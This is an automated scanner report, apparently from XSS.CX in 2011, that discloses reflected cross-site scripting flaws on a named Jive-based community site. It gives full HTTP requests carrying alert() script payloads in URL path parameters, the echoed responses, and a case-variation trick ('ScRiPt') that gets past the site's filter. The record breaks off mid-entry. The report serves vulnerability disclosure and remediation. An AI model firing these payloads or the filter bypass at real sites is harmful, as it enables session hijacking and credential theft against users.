XSS, community.rapid7.com, Cross Site Scripting, Jive Software, Vendor

Report generated by XSS.CX at Mon Oct 24 10:56:56 CDT 2011.



Loading

1. Cross-site scripting (reflected)

1.1. https://community.rapid7.com/community/infosec/blog23606%22%3E%3CScRiPt%3Ealert(document.location)%3C/ScRiPt%3E72cc9465677/2011/10/20/pci-diy-how-to-do-an-internal-pentest-to-satisfy-pci-dss-requirement-113 [REST URL parameter 2]

1.2. https://community.rapid7.com/community/infosec/blog23606%22%3E%3CScRiPt%3Ealert(document.location)%3C/ScRiPt%3E72cc9465677/2011/10/20/pci-diy-how-to-do-an-internal-pentest-to-satisfy-pci-dss-requirement-113 [REST URL parameter 2]

1.3. https://community.rapid7.com/community/infosec/blog23606%22%3E%3CScRiPt%3Ealert(document.location)%3C/ScRiPt%3E72cc9465677/2011/10/20/pci-diy-how-to-do-an-internal-pentest-to-satisfy-pci-dss-requirement-113 [REST URL parameter 3]

1.4. https://community.rapid7.com/community/infosec/blog23606%22%3E%3CScRiPt%3Ealert(document.location)%3C/ScRiPt%3E72cc9465677/2011/10/20/pci-diy-how-to-do-an-internal-pentest-to-satisfy-pci-dss-requirement-113 [REST URL parameter 3]

1.5. https://community.rapid7.com/community/infosec/blog23606%22%3E%3CScRiPt%3Ealert(document.location)%3C/ScRiPt%3E72cc9465677/2011/10/20/pci-diy-how-to-do-an-internal-pentest-to-satisfy-pci-dss-requirement-113 [REST URL parameter 3]

1.6. https://community.rapid7.com/community/infosec/blog23606%22%3E%3CScRiPt%3Ealert(document.location)%3C/ScRiPt%3E72cc9465677/2011/10/20/pci-diy-how-to-do-an-internal-pentest-to-satisfy-pci-dss-requirement-113 [REST URL parameter 4]

1.7. https://community.rapid7.com/community/infosec/blog23606%22%3E%3CScRiPt%3Ealert(document.location)%3C/ScRiPt%3E72cc9465677/2011/10/20/pci-diy-how-to-do-an-internal-pentest-to-satisfy-pci-dss-requirement-113 [REST URL parameter 4]

1.8. https://community.rapid7.com/community/infosec/blog23606%22%3E%3CScRiPt%3Ealert(document.location)%3C/ScRiPt%3E72cc9465677/2011/10/20/pci-diy-how-to-do-an-internal-pentest-to-satisfy-pci-dss-requirement-113 [REST URL parameter 4]

1.9. https://community.rapid7.com/community/infosec/blog23606%22%3E%3CScRiPt%3Ealert(document.location)%3C/ScRiPt%3E72cc9465677/2011/10/20/pci-diy-how-to-do-an-internal-pentest-to-satisfy-pci-dss-requirement-113 [REST URL parameter 5]

1.10. https://community.rapid7.com/community/infosec/blog23606%22%3E%3CScRiPt%3Ealert(document.location)%3C/ScRiPt%3E72cc9465677/2011/10/20/pci-diy-how-to-do-an-internal-pentest-to-satisfy-pci-dss-requirement-113 [REST URL parameter 6]

1.11. https://community.rapid7.com/community/infosec/blog23606%22%3E%3CScRiPt%3Ealert(document.location)%3C/ScRiPt%3E72cc9465677/2011/10/20/pci-diy-how-to-do-an-internal-pentest-to-satisfy-pci-dss-requirement-113 [REST URL parameter 7]

2. Source code disclosure

3. Cacheable HTTPS response

4. HTML does not specify charset



1. Cross-site scripting (reflected)  next
There are 11 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. https://community.rapid7.com/community/infosec/blog23606%22%3E%3CScRiPt%3Ealert(document.location)%3C/ScRiPt%3E72cc9465677/2011/10/20/pci-diy-how-to-do-an-internal-pentest-to-satisfy-pci-dss-requirement-113 [REST URL parameter 2]  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://community.rapid7.com
Path:   /community/infosec/blog23606%22%3E%3CScRiPt%3Ealert(document.location)%3C/ScRiPt%3E72cc9465677/2011/10/20/pci-diy-how-to-do-an-internal-pentest-to-satisfy-pci-dss-requirement-113

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 61983"%3balert(1)//2abe62585c4 was submitted in the REST URL parameter 2. This input was echoed as 61983";alert(1)//2abe62585c4 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /community/infosec61983"%3balert(1)//2abe62585c4/blog23606%22%3E%3CScRiPt%3Ealert(document.location)%3C/ScRiPt%3E72cc9465677/2011/10/20/pci-diy-how-to-do-an-internal-pentest-to-satisfy-pci-dss-requirement-113 HTTP/1.1
Host: community.rapid7.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: __utma=261437966.2028658675.1319333118.1319374421.1319465961.3; __utmz=261437966.1319465961.3.3.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; _jsuid=544499852; jive.recentHistory.-1=31342c323030333b33382c353434353b; __utmb=261437966.1.10.1319465961; __utmc=261437966

Response

HTTP/1.1 404 Not Found
Date: Mon, 24 Oct 2011 14:22:25 GMT
Server: Apache-Coyote/1.1
X-JAL: 5
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Vary: Accept-Encoding,User-Agent
X-JSL: D=14948 t=1319466145959726
Cache-Control: no-cache, private, no-store, must-revalidate, max-age=0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Length: 26231

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head
...[SNIP]...
var profileLoadingTooltip = "Loading user profile";
var profileErrorTooltip = "There was an error loading that profile information.";

var projectChooserUrl = "/community/infosec61983";alert(1)//2abe62585c4/blog23606">
...[SNIP]...

1.2. https://community.rapid7.com/community/infosec/blog23606%22%3E%3CScRiPt%3Ealert(document.location)%3C/ScRiPt%3E72cc9465677/2011/10/20/pci-diy-how-to-do-an-internal-pentest-to-satisfy-pci-dss-requirement-113 [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://community.rapid7.com
Path:   /community/infosec/blog23606%22%3E%3CScRiPt%3Ealert(document.location)%3C/ScRiPt%3E72cc9465677/2011/10/20/pci-diy-how-to-do-an-internal-pentest-to-satisfy-pci-dss-requirement-113

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 48af5"><ScRiPt>alert(1)</ScRiPt>79d44b0aa1c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain expressions that are often used in XSS attacks but this can be circumvented by varying the case of the blocked expressions - for example, by submitting "ScRiPt" instead of "script".

Remediation detail

Blacklist-based filters designed to block known bad inputs are usually inadequate and should be replaced with more effective input and output validation.

Request

GET /community/infosec48af5"><ScRiPt>alert(1)</ScRiPt>79d44b0aa1c/blog23606%22%3E%3CScRiPt%3Ealert(document.location)%3C/ScRiPt%3E72cc9465677/2011/10/20/pci-diy-how-to-do-an-internal-pentest-to-satisfy-pci-dss-requirement-113 HTTP/1.1
Host: community.rapid7.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: __utma=261437966.2028658675.1319333118.1319374421.1319465961.3; __utmz=261437966.1319465961.3.3.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; _jsuid=544499852; jive.recentHistory.-1=31342c323030333b33382c353434353b; __utmb=261437966.1.10.1319465961; __utmc=261437966

Response

HTTP/1.1 404 Not Found
Date: Mon, 24 Oct 2011 14:22:25 GMT
Server: Apache-Coyote/1.1
X-JAL: 5
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Vary: Accept-Encoding,User-Agent
X-JSL: D=14447 t=1319466145567954
Cache-Control: no-cache, private, no-store, must-revalidate, max-age=0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Length: 26291

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head
...[SNIP]...
<a href="/community/infosec48af5"><ScRiPt>alert(1)</ScRiPt>79d44b0aa1c/blog23606">
...[SNIP]...

1.3. https://community.rapid7.com/community/infosec/blog23606%22%3E%3CScRiPt%3Ealert(document.location)%3C/ScRiPt%3E72cc9465677/2011/10/20/pci-diy-how-to-do-an-internal-pentest-to-satisfy-pci-dss-requirement-113 [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://community.rapid7.com
Path:   /community/infosec/blog23606%22%3E%3CScRiPt%3Ealert(document.location)%3C/ScRiPt%3E72cc9465677/2011/10/20/pci-diy-how-to-do-an-internal-pentest-to-satisfy-pci-dss-requirement-113

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 88ee9"-alert(1)-"2179eba04d5 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /community/infosec/blog23606%22%3E%3CScRiPt%3Ealert(document.location)%3C88ee9"-alert(1)-"2179eba04d5/ScRiPt%3E72cc9465677/2011/10/20/pci-diy-how-to-do-an-internal-pentest-to-satisfy-pci-dss-requirement-113 HTTP/1.1
Host: community.rapid7.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: __utma=261437966.2028658675.1319333118.1319374421.1319465961.3; __utmz=261437966.1319465961.3.3.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; _jsuid=544499852; jive.recentHistory.-1=31342c323030333b33382c353434353b; __utmb=261437966.1.10.1319465961; __utmc=261437966

Response

HTTP/1.1 404 Not Found
Date: Mon, 24 Oct 2011 14:22:27 GMT
Server: Apache-Coyote/1.1
X-JAL: 5
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Vary: Accept-Encoding,User-Agent
X-JSL: D=18136 t=1319466148171654
Cache-Control: no-cache, private, no-store, must-revalidate, max-age=0
Keep-Alive: timeout=5, max=98
Connection: Keep-Alive
Content-Length: 26231

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head
...[SNIP]...
<88ee9"-alert(1)-"2179eba04d5/ScRiPt>
...[SNIP]...

1.4. https://community.rapid7.com/community/infosec/blog23606%22%3E%3CScRiPt%3Ealert(document.location)%3C/ScRiPt%3E72cc9465677/2011/10/20/pci-diy-how-to-do-an-internal-pentest-to-satisfy-pci-dss-requirement-113 [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://community.rapid7.com
Path:   /community/infosec/blog23606%22%3E%3CScRiPt%3Ealert(document.location)%3C/ScRiPt%3E72cc9465677/2011/10/20/pci-diy-how-to-do-an-internal-pentest-to-satisfy-pci-dss-requirement-113

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 2f258%3balert(1)//c9f6d08f4a0 was submitted in the REST URL parameter 3. This input was echoed as 2f258;alert(1)//c9f6d08f4a0 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /community/infosec/blog23606%22%3E%3CScRiPt%3Ealert(document.location)%3C2f258%3balert(1)//c9f6d08f4a0/ScRiPt%3E72cc9465677/2011/10/20/pci-diy-how-to-do-an-internal-pentest-to-satisfy-pci-dss-requirement-113 HTTP/1.1
Host: community.rapid7.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: __utma=261437966.2028658675.1319333118.1319374421.1319465961.3; __utmz=261437966.1319465961.3.3.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; _jsuid=544499852; jive.recentHistory.-1=31342c323030333b33382c353434353b; __utmb=261437966.1.10.1319465961; __utmc=261437966

Response

HTTP/1.1 404 Not Found
Date: Mon, 24 Oct 2011 14:22:28 GMT
Server: Apache-Coyote/1.1
X-JAL: 6
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Vary: Accept-Encoding,User-Agent
X-JSL: D=14716 t=1319466148530383
Cache-Control: no-cache, private, no-store, must-revalidate, max-age=0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Length: 26227

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head
...[SNIP]...
<2f258;alert(1)//c9f6d08f4a0/ScRiPt>
...[SNIP]...

1.5. https://community.rapid7.com/community/infosec/blog23606%22%3E%3CScRiPt%3Ealert(document.location)%3C/ScRiPt%3E72cc9465677/2011/10/20/pci-diy-how-to-do-an-internal-pentest-to-satisfy-pci-dss-requirement-113 [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://community.rapid7.com
Path:   /community/infosec/blog23606%22%3E%3CScRiPt%3Ealert(document.location)%3C/ScRiPt%3E72cc9465677/2011/10/20/pci-diy-how-to-do-an-internal-pentest-to-satisfy-pci-dss-requirement-113

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 49e04"><ScRiPt>alert(1)</ScRiPt>2b5b8a6af53 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain expressions that are often used in XSS attacks but this can be circumvented by varying the case of the blocked expressions - for example, by submitting "ScRiPt" instead of "script".

Remediation detail

Blacklist-based filters designed to block known bad inputs are usually inadequate and should be replaced with more effective input and output validation.

Request

GET /community/infosec/49e04"><ScRiPt>alert(1)</ScRiPt>2b5b8a6af53/ScRiPt%3E72cc9465677/2011/10/20/pci-diy-how-to-do-an-internal-pentest-to-satisfy-pci-dss-requirement-113 HTTP/1.1
Host: community.rapid7.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: __utma=261437966.2028658675.1319333118.1319374421.1319465961.3; __utmz=261437966.1319465961.3.3.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; _jsuid=544499852; jive.recentHistory.-1=31342c323030333b33382c353434353b; __utmb=261437966.1.10.1319465961; __utmc=261437966

Response

HTTP/1.1 404 Not Found
Date: Mon, 24 Oct 2011 14:22:27 GMT
Server: Apache-Coyote/1.1
X-JAL: 5
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Vary: Accept-Encoding,User-Agent
X-JSL: D=14967 t=1319466147370677
Cache-Control: no-cache, private, no-store, must-revalidate, max-age=0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Length: 26115

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head
...[SNIP]...
<a href="/community/infosec/49e04"><ScRiPt>alert(1)</ScRiPt>2b5b8a6af53/ScRiPt>
...[SNIP]...

1.6. https://community.rapid7.com/community/infosec/blog23606%22%3E%3CScRiPt%3Ealert(document.location)%3C/ScRiPt%3E72cc9465677/2011/10/20/pci-diy-how-to-do-an-internal-pentest-to-satisfy-pci-dss-requirement-113 [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://community.rapid7.com
Path:   /community/infosec/blog23606%22%3E%3CScRiPt%3Ealert(document.location)%3C/ScRiPt%3E72cc9465677/2011/10/20/pci-diy-how-to-do-an-internal-pentest-to-satisfy-pci-dss-requirement-113

Issue detail

The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload f235f<ScRiPt>alert(1)</ScRiPt>1c8ff68dc5d was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain expressions that are often used in XSS attacks but this can be circumvented by varying the case of the blocked expressions - for example, by submitting "ScRiPt" instead of "script".

Remediation detail

Blacklist-based filters designed to block known bad inputs are usually inadequate and should be replaced with more effective input and output validation.

Request

GET /community/infosec/blog23606%22%3E%3CScRiPt%3Ealert(document.location)%3C/ScRiPt%3E72cc9465677f235f<ScRiPt>alert(1)</ScRiPt>1c8ff68dc5d/2011/10/20/pci-diy-how-to-do-an-internal-pentest-to-satisfy-pci-dss-requirement-113 HTTP/1.1
Host: community.rapid7.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: __utma=261437966.2028658675.1319333118.1319374421.1319465961.3; __utmz=261437966.1319465961.3.3.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; _jsuid=544499852; jive.recentHistory.-1=31342c323030333b33382c353434353b; __utmb=261437966.1.10.1319465961; __utmc=261437966

Response

HTTP/1.1 404 Not Found
Date: Mon, 24 Oct 2011 14:22:31 GMT
Server: Apache-Coyote/1.1
X-JAL: 5
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Vary: Accept-Encoding,User-Agent
X-JSL: D=14643 t=1319466151433402
Cache-Control: no-cache, private, no-store, must-revalidate, max-age=0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Length: 26283

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head
...[SNIP]...
</ScRiPt>72cc9465677f235f<ScRiPt>alert(1)</ScRiPt>1c8ff68dc5d/2011/10/20/project-chooser!input.jspa";

var containerShortUrl = "/container-short.jspa";
var containerLoadingTooltip = "Loading place information.";
var containerErrorTooltip
...[SNIP]...

1.7. https://community.rapid7.com/community/infosec/blog23606%22%3E%3CScRiPt%3Ealert(document.location)%3C/ScRiPt%3E72cc9465677/2011/10/20/pci-diy-how-to-do-an-internal-pentest-to-satisfy-pci-dss-requirement-113 [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://community.rapid7.com
Path:   /community/infosec/blog23606%22%3E%3CScRiPt%3Ealert(document.location)%3C/ScRiPt%3E72cc9465677/2011/10/20/pci-diy-how-to-do-an-internal-pentest-to-satisfy-pci-dss-requirement-113

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f6d5f"-alert(1)-"11e005e75e5 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /community/infosec/blog23606%22%3E%3CScRiPt%3Ealert(document.location)%3C/f6d5f"-alert(1)-"11e005e75e5/2011/10/20/pci-diy-how-to-do-an-internal-pentest-to-satisfy-pci-dss-requirement-113 HTTP/1.1
Host: community.rapid7.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: __utma=261437966.2028658675.1319333118.1319374421.1319465961.3; __utmz=261437966.1319465961.3.3.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; _jsuid=544499852; jive.recentHistory.-1=31342c323030333b33382c353434353b; __utmb=261437966.1.10.1319465961; __utmc=261437966

Response

HTTP/1.1 404 Not Found
Date: Mon, 24 Oct 2011 14:22:29 GMT
Server: Apache-Coyote/1.1
X-JAL: 5
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Vary: Accept-Encoding,User-Agent
X-JSL: D=15072 t=1319466149733553
Cache-Control: no-cache, private, no-store, must-revalidate, max-age=0
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Length: 26159

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head
...[SNIP]...
</f6d5f"-alert(1)-"11e005e75e5/2011/10/20/search.jspa" method="get" id="jive-userbar-search-form">
...[SNIP]...

1.8. https://community.rapid7.com/community/infosec/blog23606%22%3E%3CScRiPt%3Ealert(document.location)%3C/ScRiPt%3E72cc9465677/2011/10/20/pci-diy-how-to-do-an-internal-pentest-to-satisfy-pci-dss-requirement-113 [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://community.rapid7.com
Path:   /community/infosec/blog23606%22%3E%3CScRiPt%3Ealert(document.location)%3C/ScRiPt%3E72cc9465677/2011/10/20/pci-diy-how-to-do-an-internal-pentest-to-satisfy-pci-dss-requirement-113

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 84907%3balert(1)//5a72a173c4e was submitted in the REST URL parameter 4. This input was echoed as 84907;alert(1)//5a72a173c4e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /community/infosec/blog23606%22%3E%3CScRiPt%3Ealert(document.location)%3C/84907%3balert(1)//5a72a173c4e/2011/10/20/pci-diy-how-to-do-an-internal-pentest-to-satisfy-pci-dss-requirement-113 HTTP/1.1
Host: community.rapid7.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: __utma=261437966.2028658675.1319333118.1319374421.1319465961.3; __utmz=261437966.1319465961.3.3.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; _jsuid=544499852; jive.recentHistory.-1=31342c323030333b33382c353434353b; __utmb=261437966.1.10.1319465961; __utmc=261437966

Response

HTTP/1.1 404 Not Found
Date: Mon, 24 Oct 2011 14:22:29 GMT
Server: Apache-Coyote/1.1
X-JAL: 5
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Vary: Accept-Encoding,User-Agent
X-JSL: D=14149 t=1319466150221949
Cache-Control: no-cache, private, no-store, must-revalidate, max-age=0
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Length: 26155

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head
...[SNIP]...
</84907;alert(1)//5a72a173c4e/2011/10/20/project-chooser!input.jspa";

var containerShortUrl = "/container-short.jspa";
var containerLoadingTooltip = "Loading place information.";
var containerErrorTooltip
...[SNIP]...

1.9. https://community.rapid7.com/community/infosec/blog23606%22%3E%3CScRiPt%3Ealert(document.location)%3C/ScRiPt%3E72cc9465677/2011/10/20/pci-diy-how-to-do-an-internal-pentest-to-satisfy-pci-dss-requirement-113 [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://community.rapid7.com
Path:   /community/infosec/blog23606%22%3E%3CScRiPt%3Ealert(document.location)%3C/ScRiPt%3E72cc9465677/2011/10/20/pci-diy-how-to-do-an-internal-pentest-to-satisfy-pci-dss-requirement-113

Issue detail

The value of REST URL parameter 5 is copied into the HTML document as plain text between tags. The payload bd04e<ScRiPt>alert(1)</ScRiPt>34bdc654448 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain expressions that are often used in XSS attacks but this can be circumvented by varying the case of the blocked expressions - for example, by submitting "ScRiPt" instead of "script".

Remediation detail

Blacklist-based filters designed to block known bad inputs are usually inadequate and should be replaced with more effective input and output validation.

Request

GET /community/infosec/blog23606%22%3E%3CScRiPt%3Ealert(document.location)%3C/ScRiPt%3E72cc9465677/2011bd04e<ScRiPt>alert(1)</ScRiPt>34bdc654448/10/20/pci-diy-how-to-do-an-internal-pentest-to-satisfy-pci-dss-requirement-113 HTTP/1.1
Host: community.rapid7.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: __utma=261437966.2028658675.1319333118.1319374421.1319465961.3; __utmz=261437966.1319465961.3.3.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; _jsuid=544499852; jive.recentHistory.-1=31342c323030333b33382c353434353b; __utmb=261437966.1.10.1319465961; __utmc=261437966

Response

HTTP/1.1 404 Not Found
